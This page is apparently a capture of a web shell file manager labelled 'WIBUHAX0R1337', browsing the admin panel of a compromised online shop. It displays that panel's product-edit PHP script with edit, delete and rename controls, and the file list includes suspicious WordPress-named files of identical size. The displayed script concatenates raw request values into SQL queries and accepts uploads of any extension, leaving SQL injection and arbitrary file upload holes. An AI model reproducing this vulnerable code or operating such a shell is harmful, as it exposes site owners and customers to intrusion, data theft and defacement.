WIBUHAX0R1337

- WIBUHAX0R1337 -

/home/coludnqa/nstorganics.online/admin_panel/ [ Home ]

Create Folder Create File

<?php
// header
include 'partials/header.php';

// query selected item for editing
if(isset($_GET['id'])){
  //Get all the details
  $id = $_GET['id'];
  //SQL Query to Get the Selected Food
  $sql2 = "SELECT * FROM products_list WHERE product_code=$id";
  //execute the Query
  $res2 = mysqli_query($conn, $sql2);
  //Get the value based on query executed
  $row = mysqli_fetch_assoc($res2);
  //Get the Individual Values of Selected Food
    $id = $row['product_code'];
    $name = $row['product_name'];
    $price = $row['product_price'];
    $p_image  = '../images/'.$row['product_image'];
    $current_image  = $row['product_image'];
    $status=$row['available'];
    $promo = $row['promo'];
    $promo_ens = $row['product_pend'];
    $categ = $row['product_category'];
  // $pdesc = $row['product_desc'];
  $phtu = $row['product_htu'];

}

// save edited prdouct

//save to db
if(isset($_POST['save_item'])){
   $name = mysqli_real_escape_string($conn,$_POST['name']);
   $price = mysqli_real_escape_string($conn,$_POST['price']);
    $promo = $_POST['promo'];
    $pend = $_POST['pdate'];
   $category = $_POST['type'];
  //  $desc = $_POST['desc'];
   $htu = mysqli_real_escape_string($conn,$_POST['htu']);
   $Available = $_POST['Available'];
   $current_image = $_POST['current_image'];
  $id=$_POST['idh'];

//2. Upload the image if selected
  if(isset($_FILES['image']['name'])){
      $image_name = $_FILES['image']['name']; //New Image NAme
      if($image_name!=""){
         
         $ext_array = explode('.', $image_name);
          $ext = end($ext_array);
          $image_name = "nst-prod-".rand(0000, 9999).'.'.$ext; //THis will be renamed image
          //Get the Source Path and DEstination PAth
          $src_path = $_FILES['image']['tmp_name']; //Source Path
          $dest_path = "../images/".$image_name; //DEstination Path
          //Upload the image
          $upload = move_uploaded_file($src_path, $dest_path);
          /// CHeck whether the image is uploaded or not
          if($upload==false){
              //FAiled to Upload
              $_SESSION['login'] ='
              <div class="w-auto bg-red-100 border-t-4 border-red-500 my-4 rounded-b text-red-900 px-4 py-3 shadow-md" role="alert">
             <div class="flex">
               <div class="py-1"><svg class="fill-current h-6 w-6 text-red-500 mr-4" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M2.93 17.07A10 10 0 1 1 17.07 2.93 10 10 0 0 1 2.93 17.07zm12.73-1.41A8 8 0 1 0 4.34 4.34a8 8 0 0 0 11.32 11.32zM9 11V9h2v6H9v-4zm0-6h2v2H9V5z"/></svg></div>
               <div>
                 <p class="font-bold">Something went Wrong</p>
                 <p class="text-sm">Error uploading picture</p>
               </div>
             </div>
           </div>
              ';
           header('location:index');
           exit();
              //STop the process
          }
          //3. Remove the image if new image is uploaded and current image exists
          //B. Remove current Image if Available
          if($current_image!=""){
              $remove_path = "../images/".$current_image;
              $remove = unlink($remove_path);
              //Check whether the image is removed or not
              if($remove==false){
                  //failed to remove current image
                  $_SESSION['login'] ='
                  <div class="w-auto bg-red-100 border-t-4 border-red-500 my-4 rounded-b text-red-900 px-4 py-3 shadow-md" role="alert">
                 <div class="flex">
                   <div class="py-1"><svg class="fill-current h-6 w-6 text-red-500 mr-4" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M2.93 17.07A10 10 0 1 1 17.07 2.93 10 10 0 0 1 2.93 17.07zm12.73-1.41A8 8 0 1 0 4.34 4.34a8 8 0 0 0 11.32 11.32zM9 11V9h2v6H9v-4zm0-6h2v2H9V5z"/></svg></div>
                   <div>
                     <p class="font-bold">Something went Wrong</p>
                     <p class="text-sm">Error Removing current picture</p>
                   </div>
                 </div>
               </div>
                  ';
               header('location:index');
               exit();
                  //STop the process
              }
          }
      }else{
          $image_name = $current_image; //Default Image when Image is Not Selected
      }
  }else{
      $image_name = $current_image; //Default Image when Button is not Clicked
  }
  
  //4. Update the Food in Database
  $sql3 = "UPDATE products_list SET
     product_name = '$name',
      product_price = '$price',
      promo = '$promo',
      product_pend = '$pend',
      product_category = '$category',
      product_htu = '$htu',
      available = '$Available',
      Product_image = '$image_name'

WHERE product_code=$id
  ";

//Execute the SQL Query
  $res3 = mysqli_query($conn, $sql3);

//CHeck whether the query is executed or not
  if($res3==true){
      //Query Exectued and Food Updated
      $_SESSION['login'] = ' 
      <div class="w-auto bg-green-100 border-t-4 border-green-500 my-4 rounded-b text-green-900 px-4 py-3 shadow-md" role="alert">
      <div class="flex">
        <div class="py-1"><svg class="fill-current h-6 w-6 text-green-500 mr-4" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M2.93 17.07A10 10 0 1 1 17.07 2.93 10 10 0 0 1 2.93 17.07zm12.73-1.41A8 8 0 1 0 4.34 4.34a8 8 0 0 0 11.32 11.32zM9 11V9h2v6H9v-4zm0-6h2v2H9V5z"/></svg></div>
        <div> 
          <p class="font-bold">SUCCESS!</p>
          <p class="text-sm">Item Successfully Updated.</p>
        </div>
      </div>
      </div>
      ';
      header('location:index');
      exit();
  }
  else{
      //Failed to Update Food
      $_SESSION['login'] ='
      <div class="w-auto bg-red-100 border-t-4 border-red-500 my-4 rounded-b text-red-900 px-4 py-3 shadow-md" role="alert">
     <div class="flex">
       <div class="py-1"><svg class="fill-current h-6 w-6 text-red-500 mr-4" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M2.93 17.07A10 10 0 1 1 17.07 2.93 10 10 0 0 1 2.93 17.07zm12.73-1.41A8 8 0 1 0 4.34 4.34a8 8 0 0 0 11.32 11.32zM9 11V9h2v6H9v-4zm0-6h2v2H9V5z"/></svg></div>
       <div>
         <p class="font-bold">Something went Wrong</p>
         <p class="text-sm">Error Editing item</p>
       </div>
     </div>
   </div>
      ';
   header('location:index');
   exit();
  }
}

<div class="w-full flex justify-center items-center p-8 mt-2">
<form class="lg:w-1/2 w-full space-y-4 font-semibold" method="post" enctype="multipart/form-data">
<div class="text-center">
<p class="text-3xl underline">Edit</p>

</div>

<a href="index" class="w-auto  p-1 mb-2 font-semibold bg-teal-500 text-white rounded-lg focus:shadow-outline"><i class="fa-solid fa-left-long mr-2"></i>Go Back</a>

<div class="font-semibold">
        <label class="block mb-1 text-gray-500" for="forms-labelOverInputCode">Name</label>
        <input class="w-full h-10 px-3 text-base placeholder-gray-300 border border-slate-400 rounded-lg focus:shadow-outline" type="text" value="<?php echo $name; ?>" name="name"/>
      </div>
      <div class="font-semibold">
        <label class="block mb-1 text-gray-500" for="forms-labelOverInputCode">Price <span class="text-[.6rem]">(change price if on promo)</span><span style="font-size:.6em;"><i>(no commas or letters, only numbers e.g 4000)</i></span> </label>
        <input class="w-full h-10 px-3 text-base placeholder-gray-300 border border-slate-400 rounded-lg focus:shadow-outline" type="text" value="<?php echo $price; ?>" name="price"/>
      </div>
      <div class="font-semibold">
        <label class="block mb-1 text-gray-500" for="forms-labelOverInputCode">Promo ?</label>
        <input <?php if($promo==1) {echo "checked";} ?> type="radio" name="promo" value="1">Yes
        <input <?php if($promo==0) {echo "checked";} ?> type="radio" name="promo" value="0">No
      </div>
      <div class="font-semibold">
        <label class="block mb-1 text-gray-500" for="forms-labelOverInputCode">Promo Ending <span class="text-[.6rem]">(pick date if on promo)</span> </label>
       <input value="<?php echo $promo_ens; ?>" class="h-10 px-3 text-base border border-slate-400 rounded-lg focus:shadow-outline" type="date" name="pdate"/>
      </div>
   
    <div class="font-semibold">
        <label class="block mb-1 text-gray-500" >Select Type </label>
        <select name="type" class=" h-10 px-3 mb-2 text-base  font-semibold border border-slate-400 rounded-lg focus:shadow-outline">
        <?php
//Query to Get ACtive Categories
$sql = "SELECT * FROM tbl_category";
//Execute the Query
$res = mysqli_query($conn, $sql);
//Count Rows
$count = mysqli_num_rows($res);
//Check whether category available or not
if($count>0){
//CAtegory Available
while($row=mysqli_fetch_assoc($res)){
$category_title = $row['cat_name'];
$category_id = $row['id'];
?>
<option <?php if($categ==$category_id){echo "selected";} ?> value="<?php echo $category_id; ?>"><?php echo $category_title; ?></option>
<?php } } else {//CAtegory Not Available
echo "<option value='0'>Category Not Available.</option>";
                            }
                        ?>
              </select>
      </div>

<div class="font-semibold">
        <label class="block mb-1 text-gray-500" for="forms-labelOverInputCode">Current Image </label>
       <img src="<?php echo $p_image; ?>" alt="prdo_image" class="w-[100px] h-[100px] rounded-md" id="imgDisplay">
      </div>

<div class="font-semibold">
        <label class="block mb-1 text-gray-500" for="forms-labelOverInputCode">Change Image </label>
        <input class="w-full h-10 px-3 focus:outline-none file:border-0  file:rounded-full file:text-sm file:font-semibold file:bg-teal-500 file:text-white" type="file" name="image" onChange="displayImage(this)"/>
      </div>

<div class="font-semibold flex items-center">
        <label class="mr-2 text-gray-500" for="forms-labelOverInputCode">Is it Available ?</label>
        <input <?php if($status==1) {echo "checked";} ?> class="mx-1" type="radio" value="1"  name="Available"/><span>Yes</span>
        <input <?php if($status==0) {echo "checked";} ?> class="mx-1" type="radio" value="0" name="Available"/><span>No</span>
      </div>

<div class="font-semibold">
        <label class="block mb-1 text-gray-500" for="forms-labelOverInputCode">How to use (Optional) </label>
        <textarea class="w-full h-16 px-3 py-2 text-base font-semibold placeholder-gray-300 border border-slate-400 rounded-lg focus:outline-none " name="htu"><?php echo $phtu; ?></textarea>
      </div>

<?php include 'partials/footer.php'; ?>

Nama File / Folder	Size	Action
partials	--	NONE
.htaccess	0.192KB	Edit File Delete File Rename
add.php	7.999KB	Edit File Delete File Rename
delete.php	3.22KB	Edit File Delete File Rename
edit.php	11.389KB	Edit File Delete File Rename
error_log	1.196KB	Edit File Delete File Rename
login.php	4.324KB	Edit File Delete File Rename
logout.php	0.187KB	Edit File Delete File Rename
password.php	3.421KB	Edit File Delete File Rename
testimony.php	21.854KB	Edit File Delete File Rename
wp-blog-header.php	2.73KB	Edit File Delete File Rename
wp-cron.php	2.73KB	Edit File Delete File Rename